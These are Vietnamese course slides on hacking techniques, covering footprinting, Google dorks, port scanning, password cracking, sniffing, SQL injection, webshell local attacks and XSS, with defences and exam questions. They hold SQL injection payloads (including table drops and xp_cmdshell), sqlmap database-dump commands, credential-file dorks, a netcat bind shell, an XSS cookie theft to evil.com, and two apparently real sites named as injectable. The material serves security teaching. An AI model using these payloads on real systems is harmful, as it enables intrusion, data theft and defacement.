2. Phương pháp Footprinting
Giới thiệu về Footprinting
1
Phương pháp thực hiện Footprinting
2
Các công cụ được sử dụng trong Footprinting
3
Google Hacking
4
SQL Injection
5
3. 1. Giới thiệu về Footprinting
Footprinting là kỹ thuật giúp tìm kiếm
thông tin về một doanh nghiệp, cá nhân
hay tổ chức.
Footprinting là một trong 3 giai đoạn cần
phải làm trước khi thực hiện một cuộc tấn
công.
Một kẻ tấn công dành 90% thời gian cho
việc tìm kiếm thông tin về mục tiêu tấn
công và 10% khác để thực hiện tấn công.
Kết quả của quá trình Footprinting là lấy được các thông tin
cơ bản của mục tiêu tấn công:
Tên, địa chỉ công ty
Website công ty
Các thành viên trong công ty
Sơ đồ mạng …
4. 1. Giới thiệu về Footprinting
Các thông tin cần tìm kiếm cụ thể:
5. 2. Phương pháp thực hiện Footprinting
Có 2 phương pháp thực hiện Footprinting:
Passive Footprinting
• Tìm kiếm thông qua các bài báo, trang web, hoặc từ các
đối thủ với mục tiêu, …
Active Footprinting
• Liên hệ trực tiếp với mục tiêu, tìm hiểu các thông tin
cần thiết
6. 2. Phương pháp thực hiện Footprinting
Website:
www.google.com www.whois.net
www.tenmien.vn www.archive.org
10. Ngoài ra còn rất nhiều các Website khác:
http://people.yahoo.com
http://www.intellius.com
http://maps.google.com
http://diadiem.com
http://www.publicprofiles.org
http://finance.google.com
http://www.jobsdb.com
2. Phương pháp thực hiện Footprinting
11. 3. Các công cụ được sử dụng trong Footprinting
Sam Spide
Super Email Spider
VitualRoute Trace
Google Earth
Whois
Site Digger
Maltego
….
12. Sam Spade
Cho phép người sử dụng có thể thực hiện các hành
động:
Ping
Nslookup
Whois
Traceroute
…
13. Super Email Spider
Tìm kiếm thông tin về địa chỉ Email của cơ quan/
tổ chức sử dụng Search Engine:
Google
Lycos
iWon
Exiter
Hotbot
MSN
AOL
…
15. Maltego
Là công cụ được sử dụng để phát hiện ra các liên
kết giữa:
Người sử dụng
Cơ quan
Tổ chức
Website
Domain
Dải mạng
Địa chỉ IP …
16. 2. Google Hacking
Google Hacking là gì?
Là thuật ngữ được sử dụng khi Hacker tìm cách tìm lỗ hổng
của mục tiêu hoặc dữ liệu nhạy cảm thông qua bộ máy tìm
kiếm Google.
Google Haking Database là một cơ sở dữ liệu lưu trữ
những câu lệnh để thực thi nhiệm vụ trên.
Hacker có thể làm được gì?
Tìm ra các lỗ hổng của Server: Lỗi phiên bản, bug, …
Các thông tin nhạy cảm từ các thông báo đưa ra
File chứa mật khẩu
Thư mục nhạy cảm: thư mục chứa code lỗi, …
Trang đăng nhập vào hệ thống
Trang chứa thông tin về cấu hình mạng, firewall như log
firewall, …
17. 2. Google Hacking
Những cú pháp tìm kiếm nâng cao với Google:
[intitle:]
Giúp Google giới hạn kết quả tìm kiếm về những trang có chứa từ đó
trong tiêu đề.
VD: intitle:login password, allintitle:login password
[inurl:]
Giới hạn kết quả tìm kiếm về những địa chỉ URL có chứa từ khóa t́m
kiếm.
VD: inurl:etc/password, allinurl:etc/password
[site:]
Giới hạn Google chỉ truy vấn những từ khóa xác định trong một site
hoặc tên miền riêng biệt.
VD: site:actvn.edu.vn
[filetype:]
Giới hạn Google chỉ tìm kiếm những files trên internet có phần mở
rộng riêng biệt (như: doc, pdf hay ppt v.v...)
VD: filetype:doc
18. 2. Google Hacking
[link:]
Liệt kê những trang web mà có các liên kết đến đến những trang web
chỉ định
VD: link:www.securityfocus.com
[intext:]
Tìm kiếm các từ trong một website riêng biệt.
VD: intext:hacker
Một số thuật ngữ kết hợp sử dụng trong Google Hacking:
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret“
"Index of /confidential“
"Index of /root“
"Index of /cgi-bin“
"Index of /credit-card“
"Index of /logs“
"Index of /config"
19. 2. Google Hacking
Ta cũng có thể dễ dàng tìm kiếm được những
website lỗi viết bằng ngôn ngữ PHP có chứa
thông tin hình ảnh.
inurl:"index.php?option=com_media" site:com
inurl:"index.php?option=com_media“ site:vn
inurl:"index.php?option=com_media"
site:edu.vn
28. 1. Định nghĩa Scanning
Scanning là một trong ba giai
đoạn Information Gathering mà
Hacker cần thực hiện trước khi
tiến hành một cuộc tấn công
Các thông tin cần tìm kiếm trong
giai đoạn Scanning:
www.themegallery.com
Địa chỉ IP của hệ thống đích
Hệ điều hành
Kiến trúc hệ thống
Các cổng mở và các dịch vụ đang chạy trên hệ
thống
29. 2. Các kiểu Scanning
Có 3 kiểu Scanning:
Port Scanning: Quét cổng để xác định cổng/dịch vụ
đang trong trạng thái active
Network Scanning: Quét dải mạng để xác định các host
trên mạng đang hoạt động
Vulnerability Scanning: Quét lỗ hổng của hệ điều hành,
của các ứng dụng đang hoạt động
31. 3. Các bước Scanning
Checking for live system:
Sử dụng giao thức ICMP: Ping
Có thể tham tham số -t để ping không giới hạn
Check for Open Ports:
Áp dụng cơ chế bắt tay ba bước
Sử dụng các Flag trong gói tin TCP khi quét theo kiểu TCP
Xác định gói tin ICMP type 3 code 3 khi quét theo kiểu UDP
Identity Services:
Dựa vào các Open Ports để xác định Service
Banner Grabbing/OS Fingerprinting
Sử dụng Telnet
Sử dụng công cụ: Nmap, SuperScan, …
Scan for Vulnerability
Sử dụng công cụ để phát hiện ra điểm yếu: Nessus, Retina, GFI
LANGuard, Acunetix, …
32. Cấu tạo gói tin TCP
SYN: Yêu cầu kết nối giữa hai máy tính
ACK: Trả lời kết nối hai máy tính có thể bắt đầu thực hiện
FIN: Kết thúc quá trình kết nối giữa hai máy tính
RST: Kết nối không thể sử dụng
PSH & URG: Thiết lập độ ưu tiên
33. Cơ chế bắt tay ba bước
Bước 1: Client bắn đến Server một gói tin SYN
Bước 2: Server trả lời tới Client một gói tin
SYN/ACK
Bước 3: Client nhận được gói tin SYN/ACK sẽ gửi
lại server một gói ACK.
Quá trình trao đổi thông tin giữa hai máy bắt đầu
35. Các kiểu Port Scanning
Nếu một port bị đóng, khi Server nhận được gói
ICMP từ client nó sẽ cố gắng gửi một gói ICMP type 3
code 3 port với nội dung là “unreachable” về Client.
UDP Scan:
36. 4. Các công cụ sử dụng để Scanning
Nmap
Super Scan
Retina Network Security Scanner
Nessus
Acunetix Web Vulnerability
GFI LANGuard Network Security
37. Nmap
–sT: TCP scan
–sU: UDP Scan
–sP: Ping Scan
–sF: FIN Scan
–sX: XMAS Scan
–sN: NULL Scan
–sV: Scan tên các ứng dụng và version
–SR: RPC Scan
Cấu trúc:
nmap [Scan Type(s)][Option]<host or net #1…[#N]>
-O: Scan hệ điều hanh
-P: Giải Port sử dụng để Scan
-V: Sử dụng Scan 2 lần
-P0: Không sử dụng Ping để Scan
-6: Scan IPv6
38. Super Scan
Có thể sử dụng để quét 1 địa chỉ hoặc quét 1 dải địa chỉ
Có thể sử dụng để quét theo kiểu Ping, Banner Grabbing,
…
39. Retina Network Security Scanner
Là công cụ sử dụng để phát hiện ra các máy đang
hoạt động trong mạng, quét lỗ hổng của hệ điều
hành và lỗ hổng trên ứng dụng
42. System Hacking
Xác thực - Authentication
1
Các phương pháp xác thực trong Windows
2
Các kiểu tấn công Password
3
Các công cụ sử dụng trong System Hacking
4
43. 1. Xác thực - Authentication
Là một quá trình nhận dạng người
sử dụng
Hầu hết các phương thức xác thực
dựa trên:
Những gì bạn biết (Username &
Password)
Những gì bạn có (Smart Card,
Certificated)
Những gì là bạn (Vân tay, mống mắt, …)
48. 3. Các kiểu tấn công Password
Các kiểu Password:
Password chỉ chứa ký tự: ABCDEF, abcdef
Password chỉ chứa số: 01234567
Password chỉ chứa các ký tự đặc biệt: !@#$%^
Password chỉ chứa ký tự và số: abc123def
Password chỉ chứa ký tự và ký tự đặc biệt: abc!@#
Password chỉ chứa ký tự đặc biệt và số: !@#1234
Password chứa cả ký tự, số và ký tự đặc biệt: Ab5!@3fT
Các kiểu tấn công:
Passive Online Attack
Active Online Attack
Offline Attack
49. Tấn công từ điển
Một hình thức tấn công mật khẩu phổ biến nhất là thông qua cơ
chế thử vét cạn một tập mật khẩu khả nghi thiết lập sẵn(từ điển).
Việc thử vét cạn từ điển có thể tiến hành theo hai cách:
Tấn công ngoại tuyến (off- line attack): Đòi hỏi kẻ tấn công phải
truy cập được tới tập thông tin đối chứng (tập C) và biết các hàm
xác minh. Từ đó người tấn công chỉ việc tiến hành thử lần lượt
mỗi mật khẩu trong từ điển, xem giá trị thu được khi tác động
bằng một hàm xác minh có rơi vào tập C hay không.
Tấn công trực tuyến (on- line attack): Đòi hỏi người tấn công phải
truy nhập được các hàm logic L, để lần lượt gọi kiểm tra xem l(g)
có trả lại thành công, với mỗi mật khẩu g trong từ điển và làm l từ
L, chẳng hạn: đoán - thử bằng cách gọi chức năng login vào hệ
thống.
52. Passive Online Attack
1. Nghe lén trên đường truyền: Sniffing
2. Đợi cho đến khi có hành động xác thực
3. Bắt các gói tin có chứa yêu cầu xác thực
Ưu điểm:
Khó phát hiện
Không tốn nhiều công sức
Nhược điểm:
Khó thành công
Kẻ tấn công phải là người bên trong mạng
Tiêu tốn nhiều băng thông
53. Active Online Attack
Thử các Password khác nhau cho tới khi tìm được
1 Password đúng
Ưu điểm:
Dễ thực hiện
Thành công với các mật khẩu dễ đoán
Nhược điểm:
Khó thành công
Tốn nhiều thời gian
Cần thử một lượng lớn mật khẩu
Dễ bị phát hiện
54. Offline Attack
Truy cập vào hệ thống copy file chứa thông tin
người sử dụng về: SAM
Sử dụng một số biện pháp để crack password:
Dictionary Attack
Hybird Attack
Brute-force Attack
Ưu điểm:
Dễ thành công kể cả với các Password mạnh
Nhược điểm:
Tốn nhiều thời gian
Khó thực hiện
55. 4. Một số công cụ sử dụng trong System Hacking
Cain & Abel
L0phtCrack
WinPassword Pro
PWDump
OphCrack
CHAOS Generator
56. Cain & Abel
Là công cụ cho phép
bắt gói tin đi qua theo
giao thức:
FTP
HTTP
IMAP
Telnet
…
Có thể sử dụng để
crack các mật khẩu mã
hóa.
Có thể crack mật khẩu
từ file SAM hoặc file
dump.
57. L0phtCrack
Là công cụ được sử
dụng để crack
password từ:
Local
Máy tính khác trong
mạng
File SAM
File PWDump
File chương trình tự
Sniff
….
Crack Password theo
kiểu:
Dictionary
Hybird
Brute Force
58. WinPassword Pro
Là công cụ được sử dụng để Crack Password,
tương tự L0phtCrack.
Có thể Crack
Password theo
kiểu:
Brute Force
Dictionary
60. CHAOS Generator
Là công cụ cho phép
sinh ra các từ ngẫu
nhiên
Chiều dài từ sinh ra
phụ thuộc vào phần
Length người sử dụng
nhập vào
Có thể sinh ra các từ
chỉ chứa các ký tự in,
ký tự thường, số, ký tự
đặc biệt hoặc kết hợp.
62. NỘI DUNG
Định nghĩa
1
Các kiểu Sniff
2
Các biện pháp phòng chống Sniff
3
Các công cụ sử dụng trong Sniff và ARP
4
63. 1. Định nghĩa
Sniff là hình thức nghe lén trên
hệ thống mạng, dựa trên
những đặc điểm của cơ chế
TCP/IP
Sniff có thể là phần mềm hoặc
thiết bị được sử dụng để chụp
lại các thông tin lưu thông qua
mạng
Sử dụng Sniff để lấy cắp các
thông tin:
Tài khoản
Mật khẩu
Các thông tin nhạy cảm khác …
64. Giao thức có thể Sniff
Các giao thức dễ bị Sniff:
Telnet và Rlogin: Username và Password.
HTTP: Dữ liệu được gửi đi dưới dạng rõ.
SMTP: Password và dữ liệu được gửi đi dưới dạng rõ.
NNTP: Password và dữ liệu được gửi đi dưới dạng rõ.
POP: Password và dữ liệu được gửi đi dưới dạng rõ.
FTP: Password và dữ liệu được gửi đi dưới dạng rõ.
IMAP: Password và dữ liệu được gửi đi dưới dạng rõ.
…
66. Passive Sniff
Môi trường:
Chủ yếu hoạt động trong môi trường không có các
thiết bị chuyển mạch gói.
Phổ biến hiện nay là các mạng sử dụng Hub, các
mạng không dây.
Cơ chế hoạt động:
Dựa trên cơ chế Broadcast gói tin thông qua Hub
Đặc điểm:
Khó phát hiện
67. Active Sniff
Môi trường:
Chủ yếu hoạt động trong môi trường có các thiết bị
chuyển mạch gói
Phổ biến hiện nay là các mạng sử dụng Switch
Cơ chế hoạt động:
Sử dụng cơ chế ARP Spoofing và MAC Flooding
Đặc điểm:
Chiếm nhiều băng thông mạng
Có thể dẫn đến nghẽn mạng hay gây quá tải trên
chính NIC của máy đang dùng Sniff
68. Address Resolution Protocol
(ARP)
Là giao thức lớp mạng được sử dụng để chuyển
đổi từ địa chỉ IP sang địa chỉ vật lý (MAC).
Để có được địa chỉ vật lý, host thực hiện broadcast
một ARP request tới toàn bộ mạng.
Host nhận được ARP request sẽ gửi trả lại yêu cầu
với địa chỉ IP và địa chỉ MAC của mình.
71. 3. Các biện pháp phòng chống Sniff
Active Sniff (quản trị):
Công cụ:
• Kiểm tra băng thông: Do khi Sniff có thể gây nghẽn
mạng.
• Bắt gói tin: Các Sniffer phải đầu độc ARP nên sẽ gửi
ARP đi liên tục, nếu dùng các công cụ này có thể thấy
được ai đang Sniff trong mạng.
Thiết bị:
• Lọc MAC
• Sử dụng VLAN Trunking, Port Security với Switch
Cấu hình SSL
72. 3. Các biện pháp phòng chống Sniff
Active Sniff (người dùng):
Sử dụng ARP dạng tĩnh
Sử dụng công cụ phát hiện Sniff
Tắt chức năng NetBios
73. 3. Các biện pháp phòng chống Sniff
Passive Sniff:
Thay việc sử dụng Hub bằng sử dụng Switch
74. 4. Một số công cụ sử dụng trong Sniff và ARP
Wireshark
Cain & Abel
Ethereal
Switch Sniffer
80. Tấn công và phòng chống SQL Injection
Tấn công và phòng tránh Local Attack
Tổng kết
MENU
NỘI DUNG TRÌNH BÀY
81. 1. SQL Injection là gì?
Là một kĩ thuật cho phép kẻ tấn công lợi
dụng:
Lỗ hỏng trong việc kiểm tra dữ liệu nhập vào
các ứng web
Các thông báo lỗi từ hệ quản trị cơ sở dữ liệu
Đưa vào thi hành các câu lệnh sql bất hợp
pháp và gây ra các hậu quả nghiêm trọng
I. TẤN CÔNG VÀ PHÒNG CHỐNG SQL INJECTION
82. Các dạng tấn công sql injection
Attack
4. Sử dụng các store
procedures
1. Vượt kiểm tra lúc
đăng nhập
3.Tấn công sử dụng
câu lệnh insert
2. Tấn công sử dụng
câu lệnh select
83. 1. Vượt Kiểm tra lúc đăng nhập
Câu kiểm tra thường dùng lúc đăng nhập
86. 1. Vượt Kiểm tra lúc đăng nhập
Các username và password thường dùng để đăng nhập với
những trang bị lỗi SQL Injection
Username Password
‘or’1’=’1 ‘or’1’=’1
‘ or 1=1 ? Rỗng
‘ having 1=1 ? Mọi thứ
‘ or users.userName like ‘a%’ ? Mọi thứ
‘ or 1=1; drop table users; -- Mọi thứ
‘; shutdown with nowait;-- Mọi thứ
‘; exec master..xp_xxx; -- Mọi thứ
‘; exec master..xp_cmdshell ‘iisreset’; -- Mọi thứ
88. 2.Dạng tấn công vượt qua kiểm tra đăng nhập
Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL
thao tác trên cơ sở dữ liệu của ứng dụng web.
Trong trường hợp này, người ta có thể dùng hai
trang, một trang HTML để hiển thị form nhập
liệu và một trang ASP dùng để xử lí thông tin
nhập từ phía người dùng. Ví dụ:
90. execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Request.Form("fUSRNAME") vPassword =
Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' “
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " &
objRS("USR_NAME")
End If
Set objRS = Nothing %>
91. Người dùng nhập chuỗi sau vào trong cả 2 ô nhập
liệu username/password của trang login.htm là:
' OR ' ' = ' .
Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE
USR_NAME ='' OR ''='' and USR_PASSWORD=
'' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các
bản ghi của T_USERS và đoạn mã tiếp theo xử lí
người dùng đăng nhập bất hợp pháp này như là
người dùng đăng nhập hợp lệ.
92. SQL Injection in PHP
$link = mysql_connect($DB_HOST, $DB_USERNAME,
$DB_PASSWORD) or die ("Couldn't connect: " .
mysql_error());
mysql_select_db($DB_DATABASE);
$query = "select count(*) from users where username =
'$username' and password = '$password‘ ";
$result = mysql_query($query);
93. SQL Injection Attack #1
Unauthorized Access Attempt:
password = ’ or 1=1 --
SQL statement becomes:
select count(*) from users where username =
‘user’ and password = ‘’ or 1=1 --
Checks if password is empty OR 1=1, which is
always true, permitting access.
95. SQL Injection Attack #2
Database Modification Attack:
password = foo’; delete from table users
where username like ‘%
DB executes two SQL statements:
select count(*) from users where username = ‘user’ and
password = ‘foo’
delete from table users where username like ‘%’
96. Finding SQL Injection Bugs
1. Submit a single quote as input.
If an error results, app is vulnerable.
If no error, check for any output changes.
2. Submit two single quotes.
Databases use ’’ to represent literal ’
If error disappears, app is vulnerable.
3. Try string or numeric operators.
Oracle: ’||’FOO
MS-SQL: ‘+’FOO
MySQL: ’ ’FOO
2-2
81+19
49-ASCII(1)
97. 2. Sử dụng câu lệnh select
Câu lệnh xử lí thường dùng:
masp = Request.QueryString.Get("masp");
cm.CommandText = "select * from sanpham inner join loaisp on
sanpham.maloai = loaisp.maloai where sanpham.masp='" + masp
+ "'";
Để xem chi tiết 1 sản phẩm:
http://quatangsv.vn/Chitietsanpham.aspx?masp=HRDN
98. Ứng dụng thực tế vào các website đang hoạt
động online
99. Để biết website nào dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau
thanh địa chỉ. Ví dụ:
http://vnbarcode.com/?php=product_detail&id=316’
100. Để biết website nào dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau
thanh địa chỉ. Ví dụ:
http://www.nhuaphucthinh.com.vn/product.php?id=20’
105. Dùng sqlmap và sử dụng Kali để tấn công website
Công cụ:
+ Sử dụng Kali Linux
+ Trang website demo sau:
Cú pháp: sqlmap -u <URL để tiêm>
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1
Kiểm tra được lỗi của trang website
http://testphp.vulnweb.com/listproducts.php?cat=1
106. Dùng sqlmap và sử dụng Kali để tấn công website
Sử dụng bảng tham chiếu trong quá trình thực hiện
107. Dùng sqlmap và sử dụng Kali để tấn công website
Sử dụng tham số lấy Database của website
(--dbs)
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --
dbs
Kiểm tra website về cơ sở dữ liệu Database nếu có
108. Dùng sqlmap và sử dụng Kali để tấn công website
Khi có Database ta thực hiện liệt kê trong
CSDL đó có những bảng nào, thêm (--tables)
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D
tênCSDL --tables
Kiểm tra website về
các bảng trong cơ sở dữ liệu Database
VD: sqlmap -u http://testphp.
vulnweb.com/
listproducts.php?cat=1
–D acuart --tables
109. Dùng sqlmap và sử dụng Kali để tấn công website
Khi có CSDL, bảng, ta thực hiện liệt kê trường
dữ liệu trong bảng đó ra, thêm (--columns)
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D
tênCSDL –T bảnguser --columns
website tra về các
cột trong bảng truy vấn
110. Dùng sqlmap và sử dụng Kali để tấn công website
Cuối cùng lấy thông tin của các cột trong bảng,
ta chỉ định CSDL với –D, bảng với –T, cột với -
C, thêm (--dump) để liệt kê hết các thực thể
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D
tênCSDL –T bảnguser –C tentruong1, tentruong2,.. --dump
website tra về các
Giá trị trong cột truy vấn
111. 3. Sử dụng câu lệnh insert
Câu lệnh sql thường dùng khi đăng kí:
cmdangki.CommandText =
“INSERT INTO Users(Tendangnhap, Matkhau)
VALUES ('" + tendn.Value.ToString() + "', '" + matkhau.Value.ToString() +
“)";
Lúc này người dùng nhập vào textbox tendn
như sau:
‘ + (select top 1 tendn from users) + ‘
112. 3. Sử dụng câu lệnh insert
Lúc này câu lệnh sql trở thành:
cmdangki.CommandText = “INSERT INTO
Users(Tendangnhap, Matkhau)
VALUES (‘’ + (select top 1 tendn from users) + ‘’,
‘abc’)";
114. 5. Cách phòng tránh
Kiểm soát chặt chẽ dữ liệu nhập vào
Viết hàm lọc các ký tự đặc biệt trong chuỗi nhập vào
Vd: " ", "'", ";", "--", "xp_", "select", "drop",
"insert", "delete"
Thiết lập cấu hình an toàn cho hệ quản trị cơ sở
dữ liệu
Giới hạn quyền xử lí dữ liệu đến tài khoản người dùng
Tránh dùng đến các quyền như dbo hay sa.
115. 5. Cách phòng tránh
Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ
-Ký tự nào là hợp lệ?
-Phụ thuộc ngữ cảnh
• Sử dụng dấu ‘’ đặt trước các ký tự đặc biệt
- Nếu kẻ tấn công chèn trước ký tự ‘’ ?
• Bỏ qua các ký tự đặc biệt
-Nếu kẻ tấn công dùng mã ASCII?
-Luôn có cách vượt qua kiểm tra
• Cách tốt hơn: không sử dụng các hàm có quá nhiều
quyền thực thi.
-Không hiệu quả với SQL Injection
116.
117.
118.
119.
120.
121.
122. II. Tấn công và phòng tránh Local Attack
Khái niệm: là tấn công từ nội bộ bên trong. Dùng
website bị lỗi bảo mật để tấn công sang các website
khác trong cùng một server.
Công cụ hỗ trợ:
Shell r57 hay shell c99 (vì nó mạnh và dễ sử dụng)
123. II. Tấn công và phòng tránh Local Attack
Shell c99
124. II. Tấn công và phòng tránh Local Attack
Shell R57
125. II. Tấn công và phòng tránh Local Attack
Các bước thực hiện tấn công.
Bước 1: Xác định các website cần tấn công.
Bước 2: Xác định các website đặt cùng server với
mục tiêu.
Bước 3: Tìm cách khai thác một trong các website
đặt chung server với mục tiêu. Khai thác được 1
trong số các website đó. Tìm cách upload webshell
hoặc thực thi shell code.
126. II. Tấn công và phòng tránh Local Attack
Các bước thực hiện tấn công.
Bước 4: Thành công có webshell, kiểm tra quyền của
user hiện tại.
127. II. Tấn công và phòng tránh Local Attack
Các bước thực hiện tấn công.
Bước 5: Đã có đủ quyền, tiến hành đọc file config,
tìm user/password, deface mục tiêu.
128. II. Tấn công và phòng tránh Local Attack
Các lệnh thường dùng để Local attack:
- Liệt kê các user có trên server: cat /etc/passwd.
- Xem thư mục public_html của user.
dir /home/user/public_html/
- Xem nội dung file của một user khác:
cat /home/tên user cần local/public_html/index.php.
129. II. Tấn công và phòng tránh Local Attack
Cách phòng chống:
1. Thường xuyên backup dữ liệu (giảm thiệt hại khi bị
drop database).
2. Bỏ quyền DROP database của user.
130. II. Tấn công và phòng tránh Local Attack
3. Đặt safemode on và disable 1 số hàm nguy hiểm =
cách tạo file php.ini với nội dung sau
safe-mode = on
display_errors = Off
4. Phân quyền cho các tập tin, thư mục của website một
cách hợp lý.
5. Thường xuyên dò tìm shell code trong website và
csdl.
131. Sử dụng wireshark để bắt gói tin
Đây là hình ảnh do Wireshark ghi lại khi theo dõi Traffic trên
một Server.
Cho biết trong đoạn Traffic này, kẻ tấn công đang cố gắng
khai thác lỗ hổng trên server để mở cổng 4444 và cố gắng kết
nối từ ngoài vào.
Hãy cho biết :
1. Gói tin số bao nhiêu trong đoạn traffic có khả năng chứa
lệnh để mở cổng ?
2. Kẻ tấn công đã mở đuợc cổng 4444 chưa ? Vì sao ?
132. Câu hỏi
Đây là hình ảnh do Wireshark ghi lại khi theo dõi Traffic trên
một Server.
Cho biết trong đoạn Traffic này, kẻ tấn công đang cố gắng
khai thác lỗ hổng trên server để mở cổng 4444 và cố gắng kết
nối từ ngoài vào.
Hãy cho biết :
1. Gói tin số bao nhiêu trong đoạn traffic có khả năng chứa
lệnh để mở cổng ?
2. Kẻ tấn công đã mở đuợc cổng 4444 chưa ? Vì sao ?
134. Câu hỏi
Câu lệnh netcat sau đây có ý nghĩa gì:
C:>nc -u -nvv -z 172.16.106.1 1-500
135. Câu hỏi
Giải thích câu lệnh netcat dưới đây:
C:>nc -nvv -l -p 8080 -e cmd.exe
136. Câu hỏi
Đoạn code sau nằm trong file robot.txt
khi lập trình một ứng dụng web, nó có ý
nghĩa ra sao?
User-Agent: Suzy-Spider
Disallow: /dynamic
Allow: /private/suzy-stuff
Disallow: /private
User-Agent: *
Disallow: /dynamic
Disallow: /private
137. Câu hỏi
Đoạn code dưới đây được dùng để kiểm tra đăng nhập vào một website, nếu dùng
đoạn code này thì website sẽ bị lỗi gì? Cách khắc phục lỗi?
<@language="vbscript">
<% dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")
set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data
source=c:foldermultiplex.mdb“
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "'
",conn
If rs.EOF
response.write("Login failed")
Else
response.write("Login successful")
End if %>
138. Câu hỏi
Kẻ tấn công có địa chỉ IP là 12.8.0.1
muốn thực hiện tấn công Smurf vào máy
cho địa chỉ 129.74.15.12. Kẻ tấn công sử
dụng một mạng có địa chỉ 141.190.0.0/16
để thực hiện. Gói dữ liệu được được gửi
từ máy kẻ tấn công sẽ có địa chỉ IP
nguồn và IP đích là cặp nào?
139. Câu hỏi
Đoạn dưới là một đoạn code php của một
website. Theo anh, chị thì đoạn code này có
mắc lỗi bảo mật gì không ? Miêu tả qua về
lỗi và đưa ra phương án khắc phục lỗi.
<?php
include(“$ex/index.php”);
[…]
?>
143. Tấn công XSS (Cross Site Scripting)
Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực
thi trái phép trong giá trị tham số đầu vào và/hoặc trong kết quả trả về
trên thông điệp HTTP Response
• Tấn công XSS: lợi dụng lỗ hổng XSS để chèn mã thực thi vào trang
web do Web server sinh ra.
• Hậu quả: trình duyệt của người dùng thông thường thực thi mã độc
nằm trong thông điệp HTTP Response nhận được từ web server. Việc
thực thi này có thể vượt qua chính sách SOP
• Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF
• Các phương phép chèn mã thực thi:
- Reflected XSS
- Stored XSS
- DOM-based XSS
145. Ví dụ: Tấn công XSS (1)
Giả sử trên website của mục tiêu cung cấp tính năng
tìm kiếm.
http://victim.com/search.php?term=
• Đoạn mã thực thi trên server như sau:
<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?>:
. . .
</BODY> </HTML>
146. Ví dụ: Tấn công XSS (2)
Người dùng tải một trang web từ server của kẻ
tấn công chưa đường dẫn sau
http://victim.com/search.php?term=<script>
document.location=‘http://evil.com/’+
document.cookie</script>
• Điều gì xảy ra khi người dùng nhấp vào đường
dẫn trên?
150. Phòng chống tấn công XSS từ phía Server
Sử dụng bộ lọc chuỗi giá trị đầu ra để loại các ký
tự nhạy cảm:
-Hãy cẩn thận với các mẹo vượt qua bộ lọc
-Hãy lọc nhiều lần cho tới khi loại hết các từ khóa
-Ví dụ: lọc 1 lần chuỗi <script
<script src = “...” -> src = “...”
Nhưng <scr<scriptipt src = “...” -> <script src = “...”
-Một số công cụ khác: Dynamic Data Tainting,
Static Analysis
151. Phòng chống tấn công XSS từ phía Server
https://www.owasp.org/index.php/XSS_Filter_Evasion_Ch
eat_Sheet
• https://www.owasp.org/index.php/XSS_(Cross_Site_Scrip
ting)_Prevention_Cheat_Sheet
• https://www.owasp.org/index.php/DOM_based_XSS_Prev
ention_Cheat_Sheet